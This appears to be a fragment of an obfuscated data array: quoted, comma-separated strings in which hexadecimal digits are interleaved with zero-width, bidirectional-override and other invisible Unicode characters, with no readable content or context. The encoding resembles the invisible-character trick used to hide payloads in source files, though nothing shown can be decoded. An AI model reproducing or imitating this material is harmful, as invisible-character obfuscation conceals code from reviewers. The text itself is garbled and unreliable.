‪6⁩⁤3￰ᅟ4￾‍6ᅟ￷�','�7￲6⁠⁣44⁨⁠4⁢‌⁨￾4￵‍‭3⁡ᅟ⁣3�','�‮7￾⁢​4￷￵⁥3￿⁢⁤5‪7⁦­￷6‌‪5￱⁧�','��4￿￴ᅠ‫f឵᠎⁣6‭￱឵￲d￶⁢5ᅟ￳6￳­4⁡ᅟ‬','f឵⁠4￸ᅠ⁧7⁧⁧7⁧￷￵1‫​⁧2‫‭⁧￲b؜￸5‌⁢�','��0‪⁤￴4￶b￵⁦￷4͏⁣dᅠ￷3￾1￰‍᠎','3￸͏⁩0឵‭￿44⁥￳2￸ᅠ឴‬b⁥‏͏5⁣‭8�','�⁠6⁣⁣f឵឵5‭0‏ᅠ5‪⁩5‎3⁤￲8­7‭�','�6⁡‎5‬8⁣⁠឵4⁤3⁣4⁥⁠￱4⁣￸4￸�','�⁣4⁧‎7‍⁥⁣4￰­​3￵⁠7‮‭‭6￳6�','��43‬4￴؜￰1￸⁢​6⁣￷4͏4￿8឴￷','‪6⁤⁠؜￾b￴឵4឵￷2￾⁥⁤‭6￰‎￰⁦e￾￰4￲￴￲5�','��￸ᅠ឴4￷᠎ᅟ3‪‏7￳‭a⁣⁣4⁦͏8‏‏⁠5￷￱ᅟ','5⁥2￷‬b⁨￴‌6‭‌3ᅟ⁩3⁤⁢0‫‪3‏￾​8�','�‮⁦4￷‍a⁧‎⁠7⁡‎￷‫3⁢‍⁣3⁨⁡⁡5�','��⁩3⁠￵⁤3￲5‮‏￾7‌7￾‏3​￷7‬�','�9￷‪2￸‌b‫‌ᅟ6￱؜4⁡⁥⁦6￾⁣5឵ᅟ4⁤⁥','a‍‎5￶￲￴3￿￶6؜￸7‮‫‮ᅠ6⁣⁡￶d￲‍͏7￱�','�7‌￴‍ᅠ6⁤￳‭6￶­￿3⁡⁥‌‪4⁨͏⁠⁥3⁥7؜','￷⁤4￲‎⁢4؜⁤‫7⁤￶⁥￲1￾￶￳5឴1⁥','‪3‬⁩‎8⁥2⁤͏f‎6￵‌￾5឵￲‫6⁦ᅠa‍�','��‎5឵￵‭0ᅟᅠ4￲￲d⁡4‏‍2￰⁤5‭ᅠ2￰5￸','￵9឵‬‍4ᅠ‮3឴‏7᠎8᠎￸⁢6‬￴￰4‮⁢‎4','‌￴4​‏￲￶6⁠⁩͏4ᅟ￴6⁢‫7⁠؜⁣6￳‮​ᅟ1','឵￾7⁨‍0ᅟ⁡3⁦­￷67‫7⁧￾7ᅟ͏￸0�','�឴5⁧￴‪6‬5⁧￿ᅠ6‍ᅠ‏5⁡￶￷⁩8⁣͏�','�3​⁢ᅠ឴4‪7￳؜a‪‬7⁨឴‎2⁥­͏5⁢⁤4￲᠎�','�6᠎឵͏2⁤឴⁥­4⁨‌​a￾‫​6￾⁣￰4⁤⁧￵7᠎⁡�','�8⁣￷4‪8￲⁧3‪‎0᠎‪͏5￷￱5‍3‪','￰؜7‬‌5‪‌￶2ᅠ‪3͏‮⁤3⁤2⁠⁦b​7￾�','�‫3￰￵￾4‫⁡a￾⁦￰6￿⁩1⁩￳3�','��￸9⁥⁦￴؜37⁤￰7￿‍￾0͏឴⁩⁨6￲᠎­','⁨7￸3￸9‏￾￱4￴￰6឴⁤6᠎឴2￱᠎5ᅠ‪','￶5‎2‭￳b឵4￱￰⁧e⁧￵6­⁢؜e؜2⁢​͏f','￱‭⁩6￵؜f￷᠎￿3⁧⁢￿3‎‌⁨6‏c​5⁠​￲2�','��⁨3᠎￾8￵2￾឵￳⁨f⁧⁨‬4￿￶1￴ᅠ5￵឴￳1�','�‌3­￴⁦￰7⁨឵⁦7￸⁢‍a￷⁠͏4‏​‏f⁢⁣','‪឴5⁤⁠⁦7‮4­‬1⁨⁡￱4‏⁢1⁢￵3‪￶�','�7ᅟ͏4⁠⁧d؜4⁢￸⁡2⁡‪­⁣6￰1￴​6￾￱�','�￰b؜‏￱3‮￾‫￲9￳‪⁣6ᅠᅠ឵6⁥‎7￿឵⁡8�','��⁤⁣4‎8​4⁡￱⁠7‭⁠4￳ᅠb͏⁢6⁠','￿᠎7­⁡7⁧؜4⁢￷￿؜6‮7￿3￲￸3‍￿3⁤','￿7‌឴3​⁠0⁨‮⁡‏6⁦￷⁤d‫⁣­4⁦￶⁥5⁢5�','��￿‍⁦2⁧⁤‭7￰⁠￸a‎‮឴6⁤⁠᠎c​‭￷6￵￷','e⁡⁡4⁩ᅠ￱6឴⁣4‌7⁠‏7؜؜‍2￶6￳឵‏b‎�','��឴4⁤1￰3￸឴3‍7‍3‌￰6⁧⁣1‭⁡4','‏‌͏​9؜￷ᅠ6⁠឴‫￶bᅠ᠎6‎‫⁤1឵‮7؜⁤9￳឴6','⁣⁤c￾​￶2￱￾​b￶⁩￵4￳឵⁠1￸￾7‫⁦1⁣‪6','؜⁢f￲4⁤‫4‬͏4⁧56⁦7ᅠ⁤6￴6᠎�','��⁣4‏￸4￴￱ᅟ6￵￳eᅠ7⁣⁣⁩⁨0￷￷￰3�','�⁩⁢￲4⁠3￴⁩⁢￲9￵­͏⁤51⁤￸ᅠ￾6͏⁢9͏�','��￸⁡5‫1‬‎￿5‍᠎឴a‪⁧᠎7￳￲a⁠6￵￳1�','��؜5‍⁦9͏4￵⁤⁠ᅠb⁤‫‪6‎￳3឵͏4￿6⁧�','��‮­6‪؜￶c￳⁩3￿᠎‭3‍￾͏5؜‌⁥2­4￿1￾','3￳⁠⁤8￸6­‭‬￳1⁩ᅠ3⁨8⁦￸￿7￿￷‎7￵�','��‎ᅟ4͏￲⁩7⁨­‫6‍⁦⁡￱5￵4⁦‎⁣a⁩឴7�','��￿ᅠ3￰⁢￳7￳‏឴1￲឵6￳￲￿￰b‎ᅟ4￴⁦f�','�⁨7￴8‫￳￸឴2឵⁨f​‫￳7឴឴4￲‏⁡4⁢￴­c','឴ᅠ⁤6⁢᠎￱￶2​឵7‏‭⁢‬7‏⁧⁨6⁧‭c￳‭￲�','�6ᅟ￵￾‏f⁡￲‬4￳￵d⁡￸4⁡￲឴a឵឵￵5‭‍','3⁣6᠎­឵1⁨￲3⁤￴￸​6￷6￱‎⁠7⁥￰‫6�','��￱2￴￲￵6⁧￸7⁠͏7‍⁣⁣a7‏⁢⁣⁨0','￱⁣4￶​⁣7‎⁤͏4￶‌￾￰6⁩⁣￸4᠎ᅠ2⁥⁥￵6�','�￲1­⁢3￷⁤‫‎1‪ᅠ6ᅟ6⁩⁦⁠؜3឴￱‌0�','�￱͏4‭￿9‎￵5​­￵1￳⁧6⁢￱1⁣3￵⁥￴6￰￰⁩�','��4‏⁤8⁧⁠⁡2￱‍￸b⁣￳3؜‭3⁠4￶‭⁢a‫�','�‌3‎⁤6‌￿͏6⁧⁩8឵⁥7᠎2⁡⁩6⁧⁨b','ᅠ5￱⁦8⁧5￾‌؜0￿‫᠎4‌​￾3￰6⁡⁨7‍￷4','᠎‎‌5￾឵6⁦￲⁤f⁥‭￴4؜͏￿2￶‏3￾⁧9￳឴','￱4឵​3឴￱7឴￲9￴⁦6⁢ᅟc⁤⁤3⁩​3','⁥᠎7‍￷8‮￶7‎឵ᅠ8￴￳6￷⁥e‎￱3￸⁤‬4⁠','7￳7￳6￾￿‪5͏឵3‌‬8‎؜⁡￷5‎‍⁡5‪⁠‭�','�4ᅟ؜‏͏a⁡᠎￵42⁣឵7￲￸8⁩͏6؜a⁨⁨6‬�','�‪1⁣￵3⁣؜‎2឵￷￲5᠎⁨5‬‭឴⁨3￱￾7�','��56​​⁥4​‮⁡5￴‎51⁧￾￾4ᅠᅟ￿e�','��2￳fᅠ‫⁨6ᅠ‍￷6⁦ᅟ3‌￰8឴឵4‫ᅟ9⁤‭�','��6⁤឴4឵3‎⁨￸5‍￵‌6؜⁣⁣⁤d͏￶3⁩ᅟ￸�','��4­￿￰⁠3￸​9￰6‪￳15‮￳ᅟ‎2­⁩‪3￵͏�','��6ᅟ3ᅠ‌­7⁧⁤4​⁦f⁧ᅟ￾6­‫a឵⁦�','��5⁥‎᠎5‬￴‏7­ᅟ0‎᠎‬3⁣￰⁩2⁠͏3⁩￾឵�','��6⁣￸4͏6￸‏6᠎‏b⁧͏￰￲3￰‮­2͏‫￳5‪­','7⁩5￶⁤‭5⁦￸7￾؜⁠0⁠5⁠‎؜7‫⁥4￾￰3￴�','��͏7ᅟ￾⁥7￾⁧4￲⁣d⁢‌4‫‭b￳⁤￰3⁢￲5�','�3ᅟ￳⁩‫4￴￰3឵⁦8￲‪3￶‍2‏⁨⁥￳7­⁦￵2⁥','￴6￸6؜7⁤​7­⁨⁥͏7⁦⁩￴2⁢‭͏6‪‬�','�c឵￱4⁤⁠3⁥឴4￿͏c￸￰⁤￴4​￶ᅠ￵d�','�⁧‬6‫a‪‮3ᅠ‭6‌5￾⁦͏6⁣5￷‌⁥0⁨','⁣⁡￸4￾￳￵￾7￲⁤￱5a￵‏͏6⁦ᅠcᅟ7￷�','�3‫⁨ᅠ￾6‏⁩⁠​f‪⁡⁧7‮‭1‌5￳⁡7','‪5؜0​￰‏7឵￱⁣3‫᠎6⁢￱ᅠ‮a⁤⁢5�','�⁢￴￵2⁢⁡2឵f￴឵4‫͏9؜͏‏⁣3‬؜឴￶6⁩‮7','￿￾‮5⁢᠎3ᅟ‫2⁥￿⁤7￰؜6឵3￲​឵‭9ᅠ�','�4￷⁥឴7￱­4⁠⁢⁢2‏￲7￵⁤3‬⁤3￷1ᅟ','7ᅟ⁩‪6⁧‎6⁨ᅠ2឵‫5⁦឵5‌￴4￾7⁩឴⁧7�','�7ᅟ6￸⁡⁡1‪‌‮3⁢‬￴឴1‫​4‭a','3‌⁨6⁨⁥￵5⁦ᅠ2­4⁨6￿￰‌6⁡؜‬7￿�','�￴6‪​c‭឴‪6⁤‮￳2⁥5￿￸⁥‫3￷￵￳4‏','b￶￲￶᠎5￴￳￴a￴6­‬឴e⁤‪5‬4­‫2‭�','�f⁡6⁧￾8͏￷‍7​￳⁤6‫￷7͏⁢7￶⁧￸5‏‫‍�','��2؜⁩6‏‭￵7‎4­‫؜⁠7⁨⁠4‎​؜a‮￷⁦7�','�­⁡9⁥‭6͏f⁠￾⁠4ᅟ⁧a᠎￾3￰2⁦឵​6�','��ᅠ3͏￰⁠7ᅟ￶⁧1᠎⁣⁡3⁧￿؜2‮6￲�','�᠎f￸4⁢￰ᅟ￴56‫⁩⁢8⁠⁤7⁨￵aᅟ‬͏6￴‌','⁠d͏⁥ᅟ2b6឴7឴؜5‎5￾￸2‏​͏','￰f⁨឴឵4⁠⁤￶3￲⁨￿￲6‮￰⁩‪f‮⁤6⁨​c᠎�','��5‌឵1؜­5￰‍⁡7឴￷6￷￷⁤3឴‌⁥￷5؜⁢9ᅟ⁠￿�','��5‮￰￸8⁦⁣؜5⁧￲᠎7￶⁢3឵￿7ᅠ3⁡','‎13￿￿15͏⁨￾7￾￷5⁠‮឴⁧0‫‬­','6᠎‪​34￵؜9￱￾឴7⁣￱‫4‭￷⁢4‎͏­⁡6￴','￵6￷⁣឵⁡7￸￷⁨6￵⁧⁦឵3￴4‬‬⁡1￴⁧6͏�','�‭⁥2⁩‫⁠3⁡͏3￴‭⁠3￷9￳͏7​⁤7￾ᅠᅠ4�','��7᠎3ᅟ឴6⁢឵⁤​6؜f⁨‭￵؜7‌⁣‏8‬‬4￱','￵3￸‎ᅟ7⁡2￿‬5￵￰᠎9⁨￾￶5­￲14឵ᅠ￿2','￳‪5‌‮7￰⁡3‫⁥5‪­7‭⁩4‬￿⁡3⁢�','�1ᅠ6⁤⁥1­᠎᠎7͏￰3⁤‫‌3­⁠2￿7؜￷​','5‪឵4‬‍‬⁤2‎3⁨￿3⁢⁨6￰​a￿ᅠ4','⁦឵9‏‮6‎⁩9⁠4￱⁢e؜⁤4￲￸4͏￲2‭�','�b឵5឴⁦8￴⁣4￴￾8឵⁡‎5‫ᅠ­0‮4￾⁥1�','�‮‬5⁣⁣឴‏14‭‭b￲឴￲⁧3￷5￿￱6‪','‫￱c￷⁥￷5‬⁨3￲2⁡f⁡￿￾￴6ᅟ⁥￳d�','��￷5឴￲8ᅟ‪4￲b឵‫￰6⁩⁣￿3‮​‬3‌�','�3￱7‎᠎2⁧￸4⁠⁨f⁥￲ᅠ5‌⁨￵‬7‍‮￱','4￴￵1⁩￳­6￰឴7￸￸⁧6fᅠ឴⁢￷5‬⁦8‫�','�⁥4￰​￳‏5‮⁧⁩2‎￲⁠b￸‎‍⁡6឴⁨‮8￳3','‏؜6￸‫￸38‪‪‫6​​e￴⁦឵5͏⁡‎5⁠￱','⁩7ᅠ឴8‫￶⁠‫6‌‏￸⁦5‏⁣4￿⁡8‬￷￰6￰⁠�','��5‭‎6￶￰￸b‬ᅠ4￲ᅠ6⁩឴5‎￸1‫￲6‮�','��2؜⁩￷4￴ᅟ2‌6⁩⁡‫6￱⁠￿4￰⁩d឴‫⁣7͏','￵8⁦4؜‌￳a⁧5‪᠎؜5￸⁨‌￿5￷឵1','2͏⁦b឴⁩‌2￲​b឴￲6؜7‮⁥‏4⁧￸e�','�￱￿4⁥￸‌￶a⁢￱7￸⁥‫2￰‭⁩5᠎⁨⁧2￿7‭','‌4￿‌᠎5‍⁤឵￷3‏​⁢5⁣؜1⁤­⁣‭3‏�','��4⁧￸7￱0⁦￲6⁨ᅟ2￵￴5￱⁨￸⁥2⁧᠎7⁩�','��0⁨᠎͏3؜￸5‍￿3͏‍⁡7‬￵⁩4⁢͏a‌6឵￳�','�1​5￾1￵￴￰6​؜‬⁧3￶⁨⁩4⁡͏⁡c‭�','�ᅠᅠ5⁨⁥ᅟ5‮؜7⁠‌­9⁣​⁦ᅟ7⁧￲‎9‭￵','​͏6￲­1᠎‮‬￶5⁦⁦‍⁥2￱‎7⁠￿2‮⁠7឴⁣7⁡�','�￰6‮5͏⁦61￲7⁤￴￳0‬‎7￾‮‪9￿⁧','4￱‮d￾ᅟ᠎‫3￲⁧⁦‬4￴‌5᠎⁨0‍‏‮5�','��⁣‪9⁣⁧⁣5‌7￲‏5⁨⁨2‎4⁤','e￸⁤⁥2‎ᅟ￴f᠎￴4￲‫6⁡­3‭⁨9￱‪6⁧‎a','‫￸‮​3￲‬5￾￾5￰‬‬9⁡ᅠ‌5￱￿0‫⁡￴�','�4͏⁣3⁠឵឴4⁦⁦3⁤‬​￲5￸￱5￴⁠￴6‍­6￳￲‭4','឴‍؜3​￱‍4￳⁥7­⁥‏7‬⁡⁢‪5￶‎⁨5‭‬8','￷5⁣ᅟ￴7‫￲￰3‏9￾⁡ᅟ‍7ᅟ￱4￴​￵6⁥�','��￰8⁨7឵​￿￲0­‍3‮ᅠ7⁡‏3￴￷⁠9￱￴','7‍3⁢￿5⁥‬‏4￵⁤7￸‮⁧0￰⁠6឵￷34⁡�','�឵8⁠4‏2‍￶ᅟ5⁤9‪‎￷6￱⁡⁧b­⁠7','⁥⁨1⁧⁨7￲឵8឵⁦4⁥2‪‍⁥7￷⁢0�','��⁨7￶⁨8​⁩￵6￷⁥c50⁤‪‫5⁡⁦�','�4⁨￰ᅠ‬4￴7‎7‭⁦‎3⁨‫⁣‬6⁥￰�','��8￰⁡​⁧6᠎⁠⁣4‭͏￲6￲⁢⁩e឴‬‏7￴￴​0','￷឵ᅟ‌4￴e￿؜⁨4￳24ᅟ⁩a؜￾⁧6­￾‮7','؜￰ᅠ⁠6￴­5‪⁢7‬‮2ᅠ⁧￸6​‬￵8￷ᅟ‪7‫0�','�឴5￵⁦1⁨⁥‏7឵⁧⁨‫0‭￴͏3￿‎‮4ᅟ⁠⁢7⁥�','��￱3​͏​‭7‫￾a⁤6‌᠎e⁣6￴⁢5‎￱ᅠ4⁧�','�cᅟ⁤4ᅠa؜⁡4￴⁩⁨2￲7￸⁡6⁢‮5⁥​6�','�￳​4­‫a​4⁢￴b⁩⁧​4⁤￵￲5‌4⁣ᅟ⁧7','￱6￸؜a‏￾‍⁤5￷‌5￵￿￵‮6￾￾­8⁢؜￶4￶�','��؜⁨3￶⁤7￰2​￴‎6￷‬d‌⁦‪⁨3឵￷͏؜','8￲‍￰4؜‌￾9ᅟ7⁢￸2⁧3⁠឵￰᠎2￵⁨�','�6⁠᠎ᅟb­‮7ᅟ⁦​6‭‭4￸‏￾‏9⁤￱⁣4￳￾�','��34￿‭​7⁢6‍‏​9￲ᅠ⁠7⁣͏᠎‮1⁠￶឵','￲5￱⁤4￷￱‬6‍⁡f͏￰⁩7￳￰⁧؜3؜�','�3᠎‎￷3‎ᅠ‍6‍e￿‎͏4⁤f​￾3‭⁦‪1⁢','‍7ᅠ4￲‭؜⁣6‌4￾‫5‮￳￾14‪‍͏6⁢�','�‏4឴￿ᅠe⁨‏⁠ᅟ3‭‫឴9⁥￵᠎3​‏0‍￴4⁧','9⁥⁦6￶⁠7￿‮‍7‭0⁦3￱⁧8ᅠ7￷‬7‭­','￷6‏‎­7͏឴⁤4￶‌b⁠￷⁦⁥6⁩⁢a7⁨⁦4؜','⁡3‎ᅟ￱឵8ᅠ͏⁩5ᅠ￷⁢4‫7‏4￿⁢7⁧4‪឴6','⁡b⁣⁥6឵⁥c￳￵‫7‮4⁧឵6‌￰4؜7￸6⁦','￸7⁢᠎9ᅠ4⁧￵e⁧ᅟ6⁩‬؜9⁦‌⁧5⁩­⁥2᠎�','�⁦7͏‭⁡￸6឴‏4￾⁥￱​2￾؜⁢ᅠ7￿‍2⁤ᅠ5￿⁣͏￾','1⁠؜5￿⁧⁡⁧2­⁠឵6￲​8⁨‎3‭⁥￸2⁣￳','5⁤឵4‫͏5⁠￾4￶᠎3⁣⁩2‮￵‫3ᅠ‫឵0᠎7‍','឴￴1⁩6￾‬⁡b⁧‏⁧￷7឵‫1⁠⁦⁨7￱‪⁥9؜؜','6⁩￱8⁤឵2ᅠf‏͏​￶7‍‎؜9￰⁦￰3￿‮5⁡⁣3�','��‍37᠎͏3￾‌5⁡2⁤ᅠ6⁣؜￱￿a⁠ᅠ7￿','￵2᠎⁨؜឵6ᅟ⁥⁦2⁡‪‍6⁨￳3‫￶7‎￾឴a‬�','�7￰‍2ᅟ‏3￷⁣3­؜ᅠ6‎￳‬3⁤￰­￿6￲￲￴d￳�','�3⁥3‍￵5￱⁧4￾⁧᠎5⁣￲4￶3ᅠ­￷4￷￷￲7�','�￵­8￶￷￸5؜‎‍⁦7￴￰￷7￱￱͏8￴3­‮⁨3⁧ᅟ�','��6⁥⁨a⁥￱4⁤⁦᠎᠎1￶￳5￾‌￳1⁩4឴‎￵7�','��￸￱4­fᅟ⁡⁤6⁧2￾⁡⁡3⁡឵￸0‭᠎5͏⁤￾0','￾‍7￵￵￶￾2͏⁩￾4⁣￵⁨9￱￸‮ᅠ5⁧‬ᅟ5؜3‭','⁦￴￲9⁨­؜4⁩3⁠5­‫⁡7⁡7᠎‎1‭￱�','��⁤3‏8⁡⁡⁡6⁨5⁩‍­4‫⁠d⁩4⁤⁧b⁥�','�‌ᅟ6￰‬᠎d￾3⁡3‌6‌‭e‮͏‏͏3⁤‫8⁢⁥�','��‭4⁥⁨￱e⁥⁢￶6‌￿￶9⁣⁠‍⁤7￱1᠎ᅠ⁢5‎￱2�','��‪4͏‫؜឵c​6‍￶6⁣￰43⁠5‮￾1‎‏','⁡￴7‎⁡3⁦￳⁠￾5⁠⁥￳9឵‏4￲⁡e￱￳�','�5‪￿6‍­￷￷6឴￶‫d￷6⁣1‌3⁡0￷','￴4឵⁢d￳￴؜7­‭￳1͏3￴￴⁤1⁨￾6­‬⁩⁧4�','��￴3­6‪‫4؜1￱­3⁢⁨3­￳6؜؜f‪7͏￳�','��​a͏͏5‎⁨1￾￾￶4￵￰‭‮a⁤￾7￰⁥⁦a￾⁩⁠6','឵‭￶3‬‭￴5‍឵⁡4￰‭7‬‏￿‪3⁨‫5‮2⁩�','��3ᅟ឵឵￵9឵￿​6ᅠ‪5‫4­￴8￵￰6⁤c⁣឴឴5�','��ᅟ￶⁢a⁩￿6‫￰2‬￾឵7⁣‌7​￶3￿​￲᠎8￸�','�ᅠ4￾⁩8￷7⁠‮‌⁢8⁥‫2‏￸⁡f‏⁧⁡6','᠎￵⁢e⁢6͏͏b­￸⁧‏7ᅟ￵￶4‍4￱឵⁡3؜‭⁦­7͏','⁠7‎￴3￵￰9ᅟ‪‌‪7￶­a￴4‏​1⁣�','�3⁦⁠⁢1￿6￲￾9​￱᠎5￿ᅟ8⁢⁡᠎7￴￵a⁩�','�50￶￰᠎؜3⁩؜7⁩5‫⁩‍4‫￷￵5�','�‬8‏ᅟ5⁥￱0­4‮‍￸f⁦⁨4⁡‎‮d5','؜⁢⁩7⁦‍­⁡4￸⁦؜2­‪3￶‪￳8⁩‮5￵1­6�','�‪9­￷⁠3￰⁨᠎6‎￵​឴3⁠7⁧؜4⁦⁢⁢8￴�','�4￴6⁩឴6ᅟ⁥f￱￰4￵1‌⁧⁤7⁤‍͏7￵4឵�','�￲6⁥឵؜2⁢‮f￲᠎⁨4￳­5⁠6‮￲‫4￾5�','��឴3‏￶3​⁢⁢0‪7￷‬￶4឵⁦‏4⁠؜￷f￸','7￿឵a⁠⁢⁤⁧4⁠‬8឴‫­4؜‫⁩e￳4‮⁤￶','f⁥3‬￰￴5ᅟ‏4⁨ᅟ9￰￳6឴￷‍c឴￰6','⁧￴f4‏‍⁨9ᅠ‫6​⁨3­3⁠5⁠⁢�','�ᅠ5؜‏￸‍0‮ᅟ4￴⁩￱￷b⁧‏⁧5‏⁣4‬￸6�','��‫9￸­᠎‫6឵7￵￸ᅠ4￵឴￳⁥d￴5￸‭�','��9⁩3⁤​4‏3⁤￿7⁤￲‎‫4￸ᅟ￴2�','�⁤4￷឴7⁧ᅟ5‏￲​0‪⁩5￳⁧9‫￶⁥3','￸1‫⁢6⁧￶ᅟ7⁧‬6‮9‍5­‭⁣⁤1‏6⁩7','‍᠎⁧ᅟ3￿￿6‏⁦54￱‭6⁤⁤5؜⁩​￰6￳⁦c�','��￿￰5￳2᠎ᅟ￾5￿‏2­​ᅠ‪7͏￴5￿‎￷7‮�','��9­‪￵7឵‮5⁢‎5￾⁡6⁨￾‫‏7͏⁧1￾​‬5⁤','‭3ᅠᅟ6឴‎‏7‏‎⁥5឴‌a‮￲⁡5؜⁦￸4­￵⁡','7⁨‬‭8￰￸7ᅟ￿￱9⁩4￶￲a⁡⁥￱⁨3‫￷77�','�­￷7‫⁣6‪⁢￾‎c⁢⁤4឵￾9￱⁢⁩4￴⁣‫2឴⁦3','￸⁩⁣2￱⁧⁤￾7⁤￵⁠￸9‮7⁠⁧9‪ᅠ5឴឴�','�￰9⁥3⁦9‭4‏‏‍￶2⁦5￷᠎4￷7⁤�','�￴6‭5⁤​4⁡￲4￵⁡￱­f￲‎6͏‭឵‎2￲‬3ᅠ￳�','��74⁤⁠⁢3‪ᅟ￶឴7​឵1؜᠎⁧7‌ᅠ0⁦⁠','￵7ᅟ￶⁠1­͏6￿؜⁡7‭3឵3￵3⁩⁥0⁥￳','‌4⁧‬‭e⁧⁢ᅠ7￴￲1‫￵79￾6‫​f؜�','��4឵؜ᅟ7⁡3؜⁧7⁡￿7￿‎⁩5‭‏6⁧​3￲','⁣᠎឵6‮⁠￸3￴‪￾‏7￴­­a⁥‬5￷￵5⁥‮᠎￸4','￾‪⁦‬1‮‬7￵￿᠎‭5؜7‬0￰‎3￿‭⁢5‏￴3�','��ᅠ9⁢‎3​‌⁨6‬￸6឴‍a￾ᅠ7‏؜‮9￶5￾�','�￾‍3‫5⁢឵‪8⁦‮3​2⁤5⁦￷឴0͏‌6⁣','⁦￵4‪￰￷6⁩￸e￰￸￶4᠎‭a￶⁨‎6ᅟ￲9‪￵�','��3⁦͏0‫‪7͏⁦￴7ᅠ￱‏7￴1⁠⁡7⁩‌￾�','��a￲3￸‭‍‎1឵⁨6￷⁢f⁩‎6‪￱឵3‪4�','��￾9￸6￴b￿7­6‬⁥5￶3⁦⁠3឵​�','�4‏￲6᠎‏a￲⁡‌6￸‪a⁤⁣7‬⁢​3­�','��⁨6⁢⁥⁤6￲￰￰7‍￿ᅠ1￳⁩4؜‪1⁧3⁢￰5‍�','�6⁨⁨‏3‌‏6‮⁨a⁢⁡6­f￿⁢7￿⁠￱a឵؜6᠎⁡','74​឵e‍￸￾⁤6⁨​‍4ᅟ⁧6‫c‮‫‪4￴','‌2­3⁠￸⁣7⁡￱᠎7؜‍‏a⁣‏‭7ᅟ￵￳2⁩￾','؜4￴‮‏‍5⁥⁠⁥6ᅠ‏9￵⁣5￿⁡‮3­￲3￶8�','�￰￵6‎‎e￳‏6⁦￷‫￶7￴⁤؜7‪͏￲‎96￳￳�','�c￳⁧5​‌⁡1⁣⁧4­‭1⁣឵￲⁢6⁢⁡؜a‏￲￷�','�4⁦￶8⁩​ᅟ4￰￴⁦e⁤￲￵7⁩⁩1￳ᅠ4￸','9​⁡‬5⁧4￱4؜‏e‬3ᅟ‭0⁡⁡⁢6឴￿2￾‬','⁤4­‮‍￿9؜⁨2‎￷͏f￴‌52‮￶￱2￶￰ᅠb','￱￰￵￵4᠎‮᠎￾8⁢4a￵ᅠ4￰͏⁦￰8؜�','��3‪឵឴5᠎⁡͏‏7￵‌5￵￶⁤⁩4⁩͏3￳￰᠎�','�3⁩5￳­5￱‮‎6᠎⁩⁦5‎￾5ᅟ￶​6�','��￿3‌￰4᠎⁢￲eᅠ￿6‌⁤c￷￾­6⁡‫‍⁢aᅠ','‪⁦7￿￱9‌឵⁥ᅠ6‌￿2￸‭7‏‫؜7​￴￵5͏‏6�','�‭‏6឴ᅟ7￱￵⁢5⁨￵5᠎​7⁨­ᅟ￲6￴᠎6­￵6�','��‎7᠎⁥᠎6​ᅟᅠ6‍7‬￳4‭⁧⁣9‌ᅟ‭5‪�','�￱8‪‬￴⁥3‭⁤‏1⁦­3￳4⁡⁥3‪0￱‎‮឵6','￲⁨ᅟd‎3⁥⁥￲9⁠​​7￳￵7‎‫7￵­­9￲‎','‭⁨7￴‪8⁨؜3⁨⁧￳​1‪‮5឵‫⁩‬5‏឴','3‎⁥￷6ᅠ‪6‎￵᠎‪bᅠ‬ᅠ‎7ᅠ‫؜0￱⁠5￵⁦�','�⁤a￶‫6⁦2⁩ᅠ4‬‪d⁦7͏؜9᠎3￴឵4‎‮','5឵‪9￱​⁦ᅠ7￱⁧3⁠‎4‫‌b￲‮5‬￵a­￾6','­‌᠎e￱‫￷6aᅟ​￶6­ᅟ4ᅠ⁩ᅠ4᠎‌⁩b឴ᅟ6�','�‌e؜⁨3￿6⁩3￲⁧‪8​6⁩￰￸1⁩⁡­￸5͏�','�⁧‎7￾￴4឴7⁨‌7￾⁢1᠎‬⁩6￶͏￳؜1⁤￾7�','��￴0￿‍⁤4￶￿⁠⁧1￵‪￶5­​؜឴7ᅠ؜5￴‏0�','�⁠6‪⁩1‏5‍￲1⁩⁢‏5؜￵2￶͏⁠6￱​�','�⁦a‏￴‭ᅟ6⁩ᅟ‪5⁡‫​4⁥￾8͏ᅟ3‎6­‬�','�5­a￾⁡4‍‬‫4‍￷7￲⁡￷‮5؜4￵1‌­5؜�','�3‌‎￵3‍￳3‭ᅠ5឴‬1⁥‬6឵͏⁦⁡c￸‏6‍','7­‏4￸‭ᅟ­6￵⁤3‮⁨5឵‪‪7‬a⁧⁦￴4⁦�','�￸9‪­5᠎⁥‎‫2⁠2⁤b￸⁨￿‫3⁣3￷4­�','��⁠6ᅟ᠎‫4￴⁡⁡3￴‮￳͏5‏a￾‍5‌4⁨','4⁠‌c‍⁤￷5᠎￷7￲ᅟ3⁢￱9￳4؜ᅠ឵7⁢6','ᅠ‎5￿؜5￸￾a឵⁠7‫‭­3￴6￾⁠6​⁡‬⁨','5‫7ᅠ؜4؜￴c឵‎7⁣￷⁥5‌6￰￾9￿⁢￶7�','��ᅠ឵3￵￸3ᅠ2⁧‏⁣￲4￾‍￲￴1⁤￴5ᅠ￷0⁦￾�','�3⁦2⁠͏4￱￾឵7￾‭⁢5￾￶᠎3⁤3￶឵￵8','឴؜⁡؜3⁥1￵￱7⁨￰ᅠ2￳3￳‫94­⁥1‌','‌3⁡‮4឵⁡￱6ᅟ឴6᠎⁩2￿￱f￸‬‪7឵�','��￵a⁤‍4￸⁦e￶7‌؜3￿‪6⁩⁥9‫￱￸7͏⁩','‪0‍￷7͏‌9￳⁩⁧4‍⁩b￵឴⁦4‮￲￷e‪⁠4�','��￿⁤2⁨⁡3￶​⁢3⁧￿6⁢­3￴￸6‍⁩￿‮7￿','឴6￸ᅟ‭ᅟe‍￰5‌￾⁠7￲￵4؜b⁤⁠￰￷','4‎￸￴6⁣⁡3￿5‎‍7⁡⁠￷8⁧￰3⁣‏⁦3⁨','͏7⁩⁩3⁧6‏￰f⁡​5឵3￶⁦⁢⁩7￶‌￷4⁡�','��឵6​‎e￱￰⁠⁥3⁣￸⁢￸7‪￵⁡5ᅠ0؜5','‏⁡6‍⁦￶4឴￸c‪‭7￳‪2⁥‍4⁨‍1‎‮�','��6￴7‫￶3￲￸￶1‌⁠5￿⁦9⁡‎‬3‮​￸�','�8⁦⁧⁥6￴⁠c⁥7ᅟ74⁦⁡e͏⁧6⁧᠎4⁧�','�‍4­​e‏4￲￲឵￾5⁡‍⁩6឵⁨5ᅠ￰￳7￳‎�','��3￲￲￱4‎⁣‭2⁨‭؜‍4⁡￿‮aᅠ‏2￴⁩b￸￵','4￱⁨5￶؜7‏￰6⁢￲￵7‎8⁨6⁠d⁧⁦￳�','��5⁣؜8￱6￿￾c￲឴⁣3‭3ᅠ‮4‬⁧￲9ᅠ‎‏5￰�','��￸5￵­‌6￿￸e￾￸‪5￲￸￷​0؜￸3￸⁣8؜⁤‮6�','��￴5⁨͏4‍b‏‫7⁣8⁦￸7⁣⁥